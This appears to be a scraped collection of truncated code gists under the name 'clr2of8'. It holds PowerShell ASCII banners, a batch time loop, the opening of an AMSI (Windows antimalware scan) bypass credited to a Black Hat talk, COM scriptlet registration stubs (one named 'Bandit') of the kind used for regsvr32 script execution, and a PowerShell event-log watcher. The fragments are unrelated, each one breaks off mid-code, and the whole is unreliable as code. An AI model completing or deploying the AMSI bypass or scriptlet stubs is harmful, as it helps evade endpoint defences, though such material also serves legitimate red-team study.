clr2of8

$art = @"
__________                           _________.__           .__  .__      _____              .___        _____       _________              
\______   \______  _  __ ___________/   _____/|  |__   ____ |  | |  |   _/ ____\___________  |   | _____/ ____\____ /   _____/ ____   ____  
 |     ___/  _ \ \/ \/ // __ \_  __ \_____  \ |  |  \_/ __ \|  | |  |   \   __\/  _ \_  __ \ |   |/    \   __\/  _ \\_____  \_/ __ \_/ ___\ 
 |    |  (  <_> )     /\  ___/|  | \/        \|   Y  \  ___/|  |_|  |__  |  | (  <_> )  | \/ |   |   |  \  | (  <_> )        \  ___/\  \___ 
 |____|   \____/ \/\_/  \___  >__| /_______  /|___|  /\___  >____/____/  |__|  \____/|__|    |___|___|  /__|  \____/_______  /\___  >\___  >
                            \/             \/      \/     \/                                          \/                   \/     \/     \/ 
"@
Write-Host -Fore Cyan $art

clr2of8

$art = @"
           ,ggg,                                                         ,ggggggggggg,                          ,ggggggggggggggg                                 
          dP""8I    I8                                                  dP"""88""""""Y8,                   8I  dP""""""88"""""""                                 
         dP   88    I8                                                  Yb,  88      `8b                   8I  Yb,_    88                                        
        dP    88 88888888                                gg              `"  88      ,8P                   8I   `""    88                                        
       ,8'    88    I8                                   ""                  88aaaad8P"                    8I          88                                        
       d88888888    I8     ,ggggg,    ,ggg,,ggg,,ggg,    gg     ,gggg,       88""""Yb,     ,ggg,     ,gggg,8I          88  ,ggg,     ,gggg,gg   ,ggg,,ggg,,ggg,  
 __   ,8"     88    I8    dP"  "Y8ggg,8" "

clr2of8

@echo off
SETLOCAL EnableDelayedExpansion

FOR /L %%L IN (0,0,1) DO @(
	REM get UTC times modified from: https://stackoverflow.com/questions/9871499/how-to-get-utc-time-with-windows-batch-file
	for /f %%a in ('wmic Path Win32_UTCTime get Year^,Month^,Day^,Hour^,Minute^,Second /Format:List ^| findstr "="') do (
	set %%a
	)
	Set Second=0!Second:~0,-1!
	Set Second=!Second:~-2!

clr2of8

# source: https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf
# author: Maor Korkos (@maorkor)

$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]

clr2of8

<?XML version="1.0"?>
<scriptlet>

<registration
    description="a desc"
    progid="aprogid"
    version="1.00"
    classid="{123A1231-1111-2323-2323-2323FEEDACDC}"
	>

clr2of8

<?XML version="1.0"?>
<scriptlet>

</script>

</scriptlet>

clr2of8

<?XML version="1.0"?>
<scriptlet>

<registration
    description="a desc"
    progid="aprogid"
    version="1.00"
    classid="{123A1231-1111-2323-2323-2323FEEDACDC}"
	>

clr2of8

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
	>

clr2of8

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
	>

clr2of8

## PowerShell Eventing lets you tail an event log:
## http://powershellcookbook.com/recipe/IMyz/respond-to-automatically-generated-events
$watcher = New-Object System.Diagnostics.Eventing.Reader.EventLogWatcher "Microsoft-Windows-PowerShell/Operational"
Register-ObjectEvent $watcher EventRecordWritten -Action {
    $event = $eventArgs.EventRecord
    if($event.ProcessId -ne $pid)
    {
        ## Save the last event into a variable in the PowerShell sesssion if you want to explore its properties,
        ## as the eventing actions run in their own runspace
        # $GLOBAL:lastEvent = $event